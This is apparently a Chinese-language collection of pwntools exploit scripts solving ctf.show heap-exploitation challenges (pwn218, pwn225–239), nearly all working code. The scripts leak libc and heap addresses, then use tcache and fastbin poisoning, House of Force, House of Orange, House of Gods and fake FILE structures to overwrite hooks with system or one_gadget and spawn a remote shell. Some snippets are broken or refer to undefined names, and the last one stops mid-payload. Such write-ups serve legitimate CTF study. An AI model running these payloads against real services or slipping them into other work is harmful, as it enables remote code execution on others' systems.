堆利用++系列exp

demo[pwn206-217 219-224 227 228]

1. pwn 206 - pwn 217
2. pwn 219 - pwn 224
3. pwn 227 pwn 228

此系列为demo环境，拿flag只需IDA简单看看如何拿shell即可，原理需自行对着一步步调试。

pwn 218

```
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28155)
elf = ELF('./pwn')
libc = ELF('/home/bit/libc/64bit/libc-2.27.so')
def add(data):
    io.sendlineafter("Your choice:",'1')
    io.sendafter("Input the content:",data)

def edit(index,data):
    io.sendlineafter("Your choice:",'2')
    io.sendlineafter("Input the idx:",str(index))
    io.sendafter("Input the content:",data)

def dele(index,key):
    io.sendlineafter("Your choice:",'3')
    io.sendlineafter("Input the idx:",str(index))
    io.sendlineafter("Clear?(y/n):",key)

def show(index):
    io.sendlineafter("Your choice:",'4')
    io.sendlineafter("Input the idx:",str(index))

add("a"*0x10)
payload = "b"*0x38+p64(0x11)
add(payload)
for i in range(5):
    dele(1,'n')
```

```
show(1)
io.recvuntil('Content:')
leak_addr = u64(io.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x2b0

dele(1,'y')
dele(0,'n')
dele(0,'y')
payload = p64(heap_base+0x250-0x10)
add(payload)
add("c"*0x10)
dele(1,'y')
add(p64(0)+p64(0x91))
for i in range(7):
    dele(0,'n')
dele(0,'y')
edit(1,"1"*0x10)
show(1)
io.recvuntil('Content:')
io.recv(0x10)
leak_addr = u64(io.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x3ebca0

malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
edit(1,p64(0)+p64(0x51)+p64(free_hook-0x20))
payload = p64(free_hook-0x10)
add(payload)
dele(0,'y')
payload = '/bin/sh\x00'*2+p64(system)
add(payload)
io.sendlineafter('choice:','3')
io.sendlineafter('idx:','0')

io.interactive()
```

pwn 225

```
from pwn import *

context.log_level = 'debug'

elf  = ELF("./pwn")
```

```python
libc = ELF("./libc.so.6")

io = remote("pwn.challenge.ctf.show", 28128)
ref = 0
io.timeout = 0.1


def leak_libbase(io, puts):
    io.recvuntil("libc_base: ")
    return int(io.recvline(), 16)

def leak_heapbase(io):
    io.recvuntil("heap_base: ")
    leak = int(io.recvline(), 16)
    io.recvuntil("> ")
    return leak

def fakestream_init(io, libc, heapbase):
    _dl_hook   = allocate_chunk(io, 0x18)
    fakestream = allocate_chunk(io, 0xd8)

    fd = 0x0000000000000000
    bk = heapbase + 0x20

    layout  = p64(0x0000000000000000) + p64(heapbase + 0x20 + 0x20)
    layout += p64(0x0000000000000000) + p64(0xffffffffffffffff)
```

```
28      layout += p64(0x0000000000000000) + p64(0x0000000000000000) * 0x12
29      layout += p64(0x0000000000000000) + p64(libc.sym.system)
30      layout += p64(heapbase + 0xd8)
31
32      edit_chunk(io, _dl_hook, p64(fd) + p64(bk) + "/bin/sh\x00")
33      edit_chunk(io, fakestream, layout)
34
35  def fake_arena_init(io, libc, heapbase):
36      fake_arena = allocate_chunk(io, 0x878)
37      layout  = p64(0x0000000000000000) + p64(0x0000000000000000) * 0xb
38      layout += p64(heapbase + 0x190)   + p64(libc.sym._dl_open_hook - 0x18)
39      layout += p64(0x0000000000000000) + p64(0x0000000000000000) * 0xb
40      layout += p64(0x0000000000000000) + p64(heapbase + 0x368)
41      layout += p64(heapbase + 0x368)   + p64(0x0000000000000000) * 0x7
42      layout += p64(0x0000000000000000) + p64(libc.sym._IO_list_all - 0x18)
43      layout += p64(0x0000000000000000) + p64(0x0000000000000000) * 0xe7
44      layout += p64(0xfffffffffffffffe)
45      edit_chunk(io, fake_arena, layout)
46
47  def house_of_gods(io, libc, heapbase):
48      _next             = libc.sym['main_arena']
49      _next_free        = 0x0000000000000000
50      _attached_threads = 0x0000000000000001
51      _system_mem       = 0xffffffffffffffff
52      _max_system_mem   = 0xffffffffffffffff
53      A = allocate_chunk(io, 0x88)
54      B = allocate_chunk(io, 0x38)
55      C = allocate_chunk(io, 0x18)
56      D = allocate_chunk(io, 0x98)
57      fakestream_init(io, libc, heapbase + 0x190)
58      fake_arena_init(io, libc, heapbase)
59      free_chunk(io, A)
60      bk = libc.sym.main_arena + 0x0858 - 0x8
```

```
    edit_chunk(io, A, p64(0x0) + p64(bk))
    bk = heapbase + 0x90 + 0x40 + 0x20
    edit_chunk(io, B, p64(0x0) + p64(bk))
    bk = libc.sym.main_arena + 0x4 - 0x5 - 0x10
    edit_chunk(io, D, p64(0x0) + p64(bk))
    free_chunk(io, B)
    free_chunk(io, C)
    payload  = p64(0)           + p64(_next)
    payload += p64(_next_free)  + p64(_attached_threads)
    payload += p64(_system_mem) + p64(_max_system_mem)
    E = allocate_chunk(io, 0x1f8)
    edit_chunk(io, E, payload)
    F = allocate_chunk(io, 0x98)
    while True:
        fake_arena = heapbase + 0x290
        edit_chunk(io, E, p64(0x00) + p64(fake_arena))
        UAF = allocate_chunk(io, 0x88)
        leak = read_chunk(io, E)[8:16]
        next = unpack(leak, 'all', endian = 'little')
        if process_alive(next) == False:
            break
        XXX = allocate_chunk(io, 0x88)
        free_chunk(io, UAF)
        bk = next + 0x4 - 0x5 - 0x10
        edit_chunk(io, UAF, p64(0x0) + p64(bk))
        EXFIT = allocate_chunk(io, 0x88)
        log.info("arena: " + hex(next))
    io.interactive()

def process_alive(response):
    heartbeat = 0x7f0000000000
    return response & heartbeat == heartbeat

def allocate_chunk(io, size):
    global ref
    io.send("1\n")
    io.recvline()
    io.sendline("{}".format(size))
    io.recvuntil("> ")
    ref += 1
    return ref - 1

def free_chunk(io, ref):
    io.send("2\n")
    io.recvline()
    io.sendline("{}".format(ref))
    io.recvuntil("> ")
```

```
108
109 def edit_chunk(io, ref, data):
110     io.send("3\n")
111     io.recvline()
112     io.sendline("{}".format(ref))
113     io.recvline()
114     io.send(data)
115     io.recvuntil("> ")
116
117 def read_chunk(io, ref):
118     io.send("4\n")
119     io.recvline()
120     io.sendline("{}".format(ref))
121     chunkdata = io.recvline()
122     return chunkdata
123
124 libc.address = leak_libbase(io, libc.sym.puts)
125 log.info("leaked libc_base: " + hex(libc.address))
126 heapbase = leak_heapbase(io)
127 log.info("leaked heap_base: " + hex(heapbase))
128 house_of_gods(io, libc, heapbase)
129
130 io.interactive()
```

pwn 226

```
1  from pwn import *
2  context.clear(arch = 'amd64')
3  io = remote("pwn.challenge.ctf.show",28146)
4  elf  = ELF("./pwn")
5  libc = ELF("./libc.so.6")
6  io.timeout = 0.1

7  ref = 0

8  def leak_libbase(io, puts):

9      io.recvuntil("puts: ")

10     return int(io.recvline(), 16) - puts

11 def leak_heapbase(io):

12     io.recvuntil("heapbase: ")
```

```
13      leak = int(io.recvline(), 16)
14      io.recvuntil("> ")
15      return leak
16  def allocate_chunk(io, size):
17      global ref
18      io.send("1\n")
19      io.recvline()
20      io.sendline("{}".format(size))
21      io.recvuntil("> ")
22      ref += 1
23      return ref - 1
24  def free_chunk(io, ref):
25      io.send("2\n")
26      io.recvline()
27      io.sendline("{}".format(ref))
28      io.recvuntil("> ")
29
30  def edit_chunk(io, ref, data):
31      io.send("3\n")
32      io.recvline()
33      io.sendline("{}".format(ref))
34      io.recvline()
35      io.send(data)
36      io.recvuntil("> ")
```

```
37
38  def read_chunk(io, ref):
39      io.send("4\n")
40      io.recvline()
41      io.sendline("{}".format(ref))
42      chunkdata = io.recvline()
43      io.recvuntil("> ")
44      return chunkdata
45  max_request = 0xffffffffffffffbf
46  libc.address = leak_libbase(io, libc.sym.puts)
47  log.info("leaked libbase: " + hex(libc.address))
48  heapbase = leak_heapbase(io)
49  log.info("leaked heapbase: " + hex(heapbase))
50  FAKE_ARENA = allocate_chunk(io, 0x28)
51  layout  = p64(0x0000000000000000) + p64(0x0000000000000000)
52  layout += p64(0x0000000000000000) + p64(0x0000000000000000)
53  layout += p64(libc.sym['__malloc_hook'] - 0x23)
54
55  edit_chunk(io, FAKE_ARENA, layout)
56  UAF  = allocate_chunk(io, 0x88)
57  FC0  = allocate_chunk(io, 0x38)
58  FC1  = allocate_chunk(io, 0x18)
59  INTM = allocate_chunk(io, 0x98)
60  free_chunk(io, UAF)
61  bk = libc.sym['main_arena'] + 0x0850
62  edit_chunk(io, UAF, p64(0x0) + p64(bk))
63  bk = heapbase + 0x30 + 0x90 + 0x40 + 0x20
64  edit_chunk(io, FC0, p64(0x0) + p64(bk))
65  bk = libc.sym['narenas'] - 0x10
66  edit_chunk(io, INTM, p64(0x0) + p64(bk))
67  free_chunk(io, FC0)
68  free_chunk(io, FC1)
69  BMC = allocate_chunk(io, 0x1f8)
70
71  _next             = heapbase
```

```
_next_free        = 0x0000000000000000
_attached_threads = 0x0000000000000001
_system_mem       = 0xffffffffffffffff
_max_system_mem   = 0xffffffffffffffff

payload  = p64(0)           + p64(_next)
payload += p64(_next_free)  + p64(_attached_threads)
payload += p64(_system_mem) + p64(_max_system_mem)
edit_chunk(io, BMC, payload)
INTM = allocate_chunk(io, 0x98)
allocate_chunk(io, max_request + 1)
allocate_chunk(io, max_request + 1)
HOOK    = allocate_chunk(io, 0x68)
handler = libc.sym['system']
edit_chunk(io, HOOK, p8(0) * 0x13 + p64(handler))
allocate_chunk(io, next(libc.search("/bin/sh")))

io.interactive()
```

pwn 229

```
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
io = remote('pwn.challenge.ctf.show',28304)
elf = ELF("./pwn")
shellcode = asm(shellcraft.sh())
io.sendafter("who are u?",shellcode)
io.recvuntil(shellcode)
stack = u64(io.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add=" + hex(stack)
fake_chunk = stack - 0xb0
name = stack - 0x50
io.sendlineafter("id ~~?","97")
payload = "\x00"*8 + p64(0x61) + "\x00"*0x28 + p64(fake_chunk)
io.sendafter("money~",payload);
io.sendlineafter("choice :","2")
io.sendlineafter("choice :","1")
io.sendlineafter("long?","80")
payload = "\x00"*0x38 + p64(name)
io.sendlineafter("money :",payload);
io.sendlineafter("choice :","3")

io.interactive()
```

pwn 230

```python
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28288)
libc = ELF('./libc.so.6')

main_arena_offset = 0x3c4b20
def add(size, content):
    io.recvuntil('(CMD)>>> ')
    io.sendline('a')
    io.recvuntil('(SIZE)>>> ')
    io.sendline(str(size))
    io.recvuntil('(CONTENT)>>> ')
    io.sendline(content)

def edit(idx, content):
    io.recvuntil('(CMD)>>> ')
    io.sendline('e')
    io.recvuntil('(INDEX)>>> ')
    io.sendline(str(idx))
    io.recvuntil('(CONTENT)>>> ')
    io.sendline(content)
    io.recvuntil('Is it OK?\n')
    io.sendline('Y')

def delete(idx):
    io.recvuntil('(CMD)>>> ')
```

```
26      io.sendline('d')
27      io.recvuntil('(INDEX)>>> ')
28      io.sendline(str(idx))
29
30  add(0x70, 'a' * 8)
31  add(0x70, 'b' * 8)
32  add(0x100, 'c' * 8)
33
34  delete(2)
35  delete(1)
36  io.recvuntil(' # CONTENT: ')
37  data = io.recvuntil('\n', drop=True)
38  heap_base = u64(data.ljust(8, '\x00')) - 0x80
39  log.success('heap base: ' + hex(heap_base))
40
41  delete(3)
42  io.recvuntil(' # CONTENT: ')
43  data = io.recvuntil('\n', drop=True)
44  unsorted_offset_arena = 8 + 10 * 8
45  main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena
46  libc_base = main_arena - main_arena_offset
47  log.success('main arena addr: ' + hex(main_arena))
48  log.success('libc base addr: ' + hex(libc_base))
49
50  add(0x18, 'a' * 0x18)
51
52  add(0x100, 'b' * 0xf8 + '\x11')
53  add(0x100, 'c' * 0xf8)
54  add(0x100, 'd' * 0xf8)
55
56  tinypad_addr = 0x602040
57  fakechunk_addr = tinypad_addr + 0x20
58  fakechunk_size = 0x101
59  fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(
60      fakechunk_addr)
```

```
edit(3, 'd' * 0x20 + fakechunk)
diff = heap_base + 0x20 - fakechunk_addr

diff_strip = p64(diff).strip('\0')
number_of_zeros = len(p64(diff)) - len(diff_strip)
for i in range(number_of_zeros + 1):
    data = diff_strip.rjust(0x18 - i, 'f')
    edit(1, data)
delete(2)
io.recvuntil('\nDeleted.')

edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) +
     p64(main_arena + 88))

one_gadget_addr = libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']
log.info('one gadget addr: ' + hex(one_gadget_addr))
log.info('environ pointer addr: ' + hex(environ_pointer))

fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(
    environ_pointer) + 'a' * 8 + p64(0x602148)

add(0x100 - 8, fake_pad)

io.recvuntil(' # CONTENT: ')
environ_addr = io.recvuntil('\n', drop=True).ljust(8, '\x00')
environ_addr = u64(environ_addr)
main_ret_addr = environ_addr - 30 * 8

edit(2, p64(main_ret_addr))
edit(1, p64(one_gadget_addr))

io.interactive()
```

pwn 231

```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote("pwn.challenge.ctf.show",28111)
elf = ELF("./pwn")
libc = ELF('/home/bit/libc/64bit/libc-2.23.so')

def add(size, content):
        io.recvuntil("2:puts\n")
        io.sendline('1')
```

```
        io.recvuntil("size\n")
        io.sendline(str(size))
        io.recvuntil("bin addr ")
        addr = int(io.recvuntil('\n').strip(), 16)
        io.recvuntil("content\n")
        io.send(content)
        return addr
def show(index):
        io.recvuntil("2:puts\n")
        io.sendline('2')

libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
success('libc_base'+hex(libc.address))

heap_addr = add(0x18, 'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
success("heap_addr:"+hex(heap_addr))

top = heap_addr + 0x10

malloc_hook = libc.sym['__malloc_hook']
success("malloc_hook"+hex(malloc_hook))
one_gadget = libc.address + 0x4526a
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()

add(offset-0x30, 'aaa\n')
add(0x10, 'a'*8+p64(one_gadget)+p64(realloc+0x10))

io.recvuntil("2:puts\n")
io.sendline('1')
io.recvuntil("size\n")
io.sendline(str(20))

io.interactive()
```

pwn 232

```
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28165)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
```

```
puts_got = elf.got['puts']
free_got = elf.got['free']
heap_array_addr = 0x0804B120


def add(size,content):
    io.sendlineafter('option--->>','1')
    io.sendlineafter('Input the length of the note content:',str(size))
    io.sendafter('Input the content:',content)

def edit(index,content):
    io.sendlineafter('option--->>','3')
    io.sendlineafter('Input the id:',str(index))
    io.sendafter('Input the new content:',content)

def delete(index):
    io.sendlineafter('option--->>','4')
    io.sendlineafter('Input the id:',str(index))

io.sendafter('Input your name:','a'*0x40)
io.recvuntil('a'*0x40)
heap_addr = u32(io.recv(4))
print 'heap_addr=',hex(heap_addr)
io.sendafter('Org:','a'*0x40)
io.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0
offset = heap_array_addr - top_chunk_addr - 0x10
print 'top_chunk_addr=',hex(top_chunk_addr)
add(offset,'')
add(0x18,'\n')
edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) +
'/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
delete(2)
io.recv(1)
puts_addr = u32(io.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
edit(1,p32(system_addr) + '\n')
delete(3)

io.interactive()
```

pwn 233

```python
from pwn import *


io = remote("pwn.challenge.ctf.show",28166)
context.log_level = 'debug'
elf = ELF("./pwn")
libc = ELF('./libc-2.23.so')

def add(size, content, price, color):
        io.recvuntil("Your choice : ")
        io.sendline('1')
        io.recvuntil("Length of name :")
        io.sendline(str(size))
        io.recvuntil("Name :")
        io.send(content)
        io.recvuntil("Price of Orange:")
        io.sendline(str(price))
        io.recvuntil("Color of Orange:")
        io.sendline(str(color))

def show():
        io.recvuntil("Your choice : ")
        io.sendline('2')

def edit(size, content, price, color):
        io.recvuntil("Your choice : ")
        io.sendline('3')
        io.recvuntil("Length of name :")
        io.sendline(str(size))
        io.recvuntil("Name:")
        io.send(content)
        io.recvuntil("Price of Orange:")
        io.sendline(str(price))
        io.recvuntil("Color of Orange:")
        io.sendline(str(color))

add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
io.recvuntil('a'*8)
malloc_hook = u64(io.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
```

```
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
io.recvuntil('b'*0x10)
heap = u64(io.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0

payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8)
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
io.recvuntil("Your choice : ")
io.sendline('1')

io.interactive()
```

pwn 234

```
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28287)
elf=ELF('./pwn')
def add(type,content):
        io.sendline('1')
        io.sendline(str(type))
        io.send(content)
        time.sleep(1)
def free(index):
        io.sendline('2')
        io.sendline(str(index))

def edit(index,content1,content2):
        io.sendline('3')
        io.sendline(str(index))
```

```
        io.send(content1)
        io.send(content2)
        time.sleep(1)

bss_list = 0x06020C0
bss_edit = 0x602120
add(3,'aaaa')
free(0)
add(3,'bbbb')
free(1)
add(1,'cccc')
add(2,'dddd')
free(2)
edit(2,p64(bss_edit+0x10)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xffffffffffffff1)+'\0'*15)
free(3)
edit(2,p64(0)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xA00001))
add(3,'eeee')
edit(2,p64(bss_edit+0x10)[:-1],p64(0xfffffffffffffff0)+p64(0x10)+p64(0)+p64(0xfffffffffffffff1))
add(0x3419,'ffff')
add(1,p64(elf.got['free'])[:-1])

edit(0,p64(elf.symbols['system'])[:-1],'/bin/sh\0')
edit(6,'/bin/sh','/bin/sh\0')

free(6)

io.interactive()
```

pwn 235

```
from pwn import *
libc = ELF("/home/bit/libc/64bit/libc-2.23.so")
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
def add(idx, size, data="a"):
    io.sendlineafter(">> ", "1")
    io.sendlineafter("Index :", str(idx))
    io.sendlineafter("size: ", str(size))
    io.sendafter("Content:", data)

def edit(idx, size, data="a"):
    io.sendlineafter(">> ", "2")
    io.sendlineafter("Index :", str(idx))
    io.sendlineafter("size: ", str(size))
```

```
    io.sendafter("content: ", data)
def free(idx):
    io.sendlineafter(">> ", "3")
    io.sendlineafter("Index :", str(idx))

def attack():
    add(0, 0x10)
    add(1, 0x10)
    add(2, 0x60)
    add(3, 0x10)

    free(2)
    edit(0, 0x20, "a" * 0x18 + p64(0x91))
    free(1)
    add(1, 0x10)
    num = "0x55"
    edit(1, 0x30, "a" * 0x18 + p64(0x71) + p8(0xdd) + p8(int16(num)))
    add(2, 0x60)
    layout = [0x33 * "\x00", 0xfbad1800, 0, 0, 0, "\x58"]
    add(3, 0x60, flat(layout))
    leak_libc_addr = u64(io.recvn(8))
    libc_base = leak_libc - 0x3c56a3
    libc.address = libc_base
    free(2)
    edit(1, 0x30, "a" * 0x18 + p64(0x71) + p64(libc.sym["__malloc_hook"] -
0x23))
    add(2, 0x60)
    one_gadget = libc.offset_to_vaddr(gadgets[3])
    payload = b"a" * 0x13 + p64(one_gadget)
    add(4, 0x60, payload)
    io.sendlineafter(">> ", "1")
    io.sendlineafter("Index :", str(5))
    io.sendlineafter("size: ", str(0x10))
    io.interactive()

if __name__ == '__main__':
    while True:
        try:
            io = remote("pwn.challenge.ctf.show",28135)
            attack()
            break
        except:
            io.close()
```

pwn 236

```python
from pwn import*
context.log_level ='debug'
io = remote("pwn.challenge.ctf.show",28292)
libc = ELF('./libc-2.23.so')
def add(size,idx):
    io.sendlineafter('Free',"1")
    io.sendlineafter('Enter size of chunk :',str(size))
    io.sendlineafter('Enter index :',str(idx))

def free(idx):
    io.sendlineafter('Free',"3")
    io.sendlineafter('Enter index :',str(idx))

def edit(idx,data):
    io.sendlineafter('Free',"2")
    io.sendlineafter('Enter index of chunk :',str(idx))
    io.sendafter('Enter data :',data)
io.sendlineafter('Enter name :','bit')
add(0x18,0)
add(0xC8,1)
add(0x68,2)
edit(1,'\x00'*0x68 + p64(0x61))
free(1)
add(0xC8,1)
add(0x68,3)
add(0x68,4)
add(0x68,5)
edit(0,'\x00'*0x18 + '\x71')
free(2)
free(3)
edit(3,'\x20')
edit(1,'\xDD\x25')
add(0x68,9)
add(0x68,9)
payload = '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x88'
add(0x68,9)
edit(9,payload)
libc_base = u64(io.recvuntil('\x7f').ljust(8,'\x00')) -
libc.symbols['_IO_2_1_stdin_']
libc.address = libc_base

free(4)
edit(4,p64(0))
add(0x68,0)
free(0)
edit(0,p64(libc.symbols['__malloc_hook'] - 0x23))
add(0x68,0)
```

```
add(0x68,0)
io.sendlineafter('Free','2')
io.sendlineafter('Enter index of chunk :','0')
io.send('\x00'*0x13+p64(libc_base+0xf02a4))
free(1)
free(1)

io.interactive()
```

pwn 237

```
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28247)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
password = [b'AY7Hr0', b'BRgTa2', b'CnY841']
current_user = 0

def add(content_length, content = None):
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'message size: ', str(content_length).encode())
    if content is None:
        content = str(current_user) * (content_length // 0x30 * 0x10)
    io.sendafter(b'message: ', content)

def view(index):
    io.sendlineafter(b'Choice: ', b'2')
    io.sendlineafter(b'index: ', str(index).encode())

def edit(index, content):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'index: ', str(index).encode())
    io.sendafter(b'message: ', content)

def delete(index):
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'index: ', str(index).encode())

def change_role(role):
    global current_user
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'user:\n', password[role])
    current_user = role

```

```
change_role(1)
for i in range(5):
    add(0xA0)
    delete(i)
change_role(0)
add(0x150)
for i in range(7):
    add(0x150)
    delete(i + 1)
delete(0)
change_role(1)
add(0xA0)
change_role(0)
add(0x160)
for i in range(7):
    add(0x160)
    delete(i + 9)
delete(8)
change_role(1)
change_role(0)
view(8)
io.recv(0x10)
libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
system = libc_base + libc.symbols['system']
__free_hook = libc_base + libc.symbols['__free_hook']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
change_role(1)
add(0xB0)

change_role(0)
change_role(1)
view(1)
io.recv(0x10)
heap_address = u64(io.recv(6) + b'\x00\x00')

change_role(1)
add(0x440)
change_role(0)
add(0x430)
add(0x430)
add(0x430)
add(0x430)
change_role(1)
delete(7)
add(0x450)
change_role(0)
delete(17)
```

```python
change_role(1)
change_role(0)
change_role(1)
edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
add(0xF0)

change_role(1)
change_role(0)
delete(19)
change_role(1)
edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
change_role(2)
add(0xF0)

change_role(0)
edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) + b'\n')
change_role(2)
add(0x230)
change_role(2)
add(0x430)
change_role(1)
edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
change_role(2)
add(0xA0)

fake_IO_FILE_complete = p64(0) * 2
fake_IO_FILE_complete += p64(1)
fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF)
fake_IO_FILE_complete += p64(0)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)
fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
fake_IO_FILE_complete += p64(0)
fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
fake_IO_FILE_complete += b'/bin/sh\x00'
fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
io.sendafter(b'Gift:', payload)

io.sendlineafter(b'Choice: ', b'5')
io.sendlineafter(b'user:\n', b'')

io.interactive()
```

pwn 238

```python
from pwn import *
context.log_level='debug'

io = remote("pwn.challenge.ctf.show",28176)
libc = ELF('./libc-2.31.so')

def choice(num):
    io.sendlineafter("choice:",str(num))

def add(idx,size):
    choice(1)
    io.sendlineafter('Idx:',str(idx))
    io.sendlineafter('Size:',str(size))

def show(idx):
    choice(2)
    io.sendlineafter('Idx:',str(idx))

def edit(idx,con):
    choice(3)
    io.sendlineafter('Idx:',str(idx))
    io.sendafter("context: ",con)

def delet(idx):
    choice(4)
    io.sendlineafter('Idx:',str(idx))


add(0,0x90)
add(1,0x490)
add(2,0x90)
delet(1)
show(1)
io.recvuntil('context: ')
libc_base = u64(io.recv(6).ljust(8,'\x00'))-0xbe0-0x1ec000
free_hook = libc_base + libc.sym['__free_hook']
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x1e9560
system = libc_base + libc.sym['system']
delet(0)
edit(0,'deadbeef')
show(0)
```

```
io.recvuntil('deadbeef')
heap=u64(io.recv(6).ljust(8,'\x00'))-0x10

add(1,0x490)
add(0,0x450)
add(1,0x90)
add(2,0x430)
delet(0)
add(1,0x460)
delet(2)
edit(0,p64(libc_base + 0x1ecfe0)*2+p64(heap + 0x870)+p64(free_hook - 0x28))
add(4,0x490)

edit(0,p64(heap + 0xd70)+p64(libc_base + 0x1ecfe0)+p64(heap + 0xd70)*2)
edit(2,p64(libc_base + 0x1ecfe0)+p64(heap + 0x870)*3)
add(0,0x450)
add(0,0x430)

add(1,0x490)
add(3,0x450)
add(1,0x90)
add(2,0x430)
delet(3)
add(1,0x460)
delet(2)
edit(3,p64(libc_base + 0x1ecfe0)*2+p64(heap + 0x1f60)+p64(IO_list_all -
0x20))
add(4,0x490)
edit(3,p64(heap + 0x2460)+p64(libc_base + 0x1ecfe0)+p64(heap + 0x2460)*2)
edit(2,p64(libc_base + 0x1ecfe0)+p64(heap + 0x1f60)*3)
add(3,0x450)
add(2,0x430)

for i in range(0,5):
    add(1,0xa0)
    delet(1)
for i in range(0,7):
    add(1,0x200)
    delet(1)

add(0,0x200)
add(1,0x90)
delet(0)
add(1,0x150)

add(3,0x200)
add(1,0x100)
```

```
delet(3)
add(1,0x150)
add(1,0x100)
edit(3,'\x00'*0x158+p64(0xb1)+p64(heap+0x44f0)+p64(free_hook-0x20))
add(1,0xa0)

buf=heap+0x43a0
pd='/bin/sh\x00'+p64(0)+p64(system)
edit(0,pd)
pd=p64(0)*3+p64(0x28)+p64(0)+p64(buf)+p64(buf+34)
pd=pd.ljust(0xc8,'\x00')+p64(IO_str_jumps)
edit(2,pd)
choice(5)

io.interactive()
```

pwn 239

```
from pwn import *
context.log_level='debug'

io = remote('pwn.challenge.ctf.show',28239)
elf = ELF('./pwn')
def add(index,size):
        io.sendlineafter('¥¥¥¥¥¥', str(1))
        io.sendlineafter('index:\n', str(index))
        io.sendlineafter("Size:\n", str(size))

def show(index):
        io.sendlineafter('¥¥¥¥¥¥', str(2))
        io.sendlineafter('index:\n', str(index))

def edit(index, content):
        io.sendlineafter('¥¥¥¥¥¥', str(3))
        io.sendlineafter('index:\n', str(index))
        io.sendafter("context: \n",content)

def delete(index):
        io.sendlineafter('¥¥¥¥¥¥', str(4))
        io.sendlineafter('index:\n', str(index))

add(0,0x428)
add(1,0x500)
```

```
add(2,0x418)
delete(0)
add(3,0x500)

show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3ec090
edit(0,'b'*0x10)
show(0)
io.recvuntil('b'*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x250

rtld_global = libc_base + 0x61b060
one_gadget = libc_base + 0x4f302
delete(2)
edit(0,p64(libc_base + 0x3ec090)*2+p64(heap_base+0x250)+p64(rtld_global-0x20))
add(4,0x500)

link_map=p64(0)*1
link_map+=p64(libc_base+0x61c710)
link_map+=p64(0)
link_map+=p64(heap_base+0xb90)
link_map+=p64(0)*28
link_map+=p64(heap_base+0xc08+0x98)
link_map+=p64(heap_base+0xc08+32+0x98)
link_map+=p64(heap_base+0xc08+0x10+0x98)
link_map+=p64(8)
link_map+=p64(one_gadget)
link_map+=p64(heap_base+0xb90)
link_map+=p64(0)*58
